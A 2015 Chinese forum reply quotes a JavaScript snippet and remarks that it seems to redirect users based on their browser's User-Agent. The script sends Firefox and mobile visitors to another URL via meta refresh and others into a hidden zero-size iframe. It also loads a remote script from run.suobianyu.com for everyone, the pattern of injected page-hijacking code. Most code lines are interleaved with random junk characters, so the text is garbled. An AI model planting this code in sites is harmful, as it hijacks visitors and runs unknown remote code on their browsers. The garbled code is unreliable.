|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
5 d( ]8 l5 h+ j- var ua = navigator.userAgent.toLowerCase(),
/ E, ?% I* I9 i4 `& k, ~ - browser = {
5 G) t2 \$ ~3 A3 Z - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],7 L# N" \2 A& y3 X
- opera: /opera/.test(ua),
; ^: v0 X2 G. G9 b. _ - maxthon: /maxthon/.test(ua),
8 w+ e, K: L: c7 q - theworld: /theworld/.test(ua),5 W' k1 P. n X" |* S0 T
- qq: /qqbrowser/.test(ua),
' B" P* t+ d8 [1 {; I8 A% f - sogou: /se /.test(ua),
& l! g, M& z" C! e- U3 _ - liebao: /liebao/.test(ua),& i5 }# A* r+ z, F
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua)," d7 Y* q: T) U- I( d& q& m
- chrome: /chrome|crios/.test(ua),; O' `8 J: F }
- safari: /webkit/.test(ua),0 I6 L! y6 I1 p+ w
- uc: /ucbrowser/.test(ua),
+ K0 j5 M: a, ~4 n$ Z: w5 ` - ie: /msie/.test(ua) && !/opera/.test(ua)$ J8 ?" I9 X; j9 s% \' z
- };4 E! y8 ]# e, n- H/ Z
- var ver = browser.ver;
3 T6 h) t; V4 a6 g5 d. n/ Y - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
- I+ X. u% H8 y: \& \# R - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");4 l& e/ m5 ^* c W! W
- } else {& ~- R7 Q' J2 n4 a& L/ t3 i/ b d
- window.sc = "<iframe src=" + tourl + "></iframe>";
# C) V7 n. H4 I2 {- X4 R - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
( I2 a% R2 X! b, _% z$ w - }
0 @" o. T; I2 R2 c- b - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
( V# u& K O! S7 y, F, }2 f/ l& B5 D0 e+ S% Q9 o$ I
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|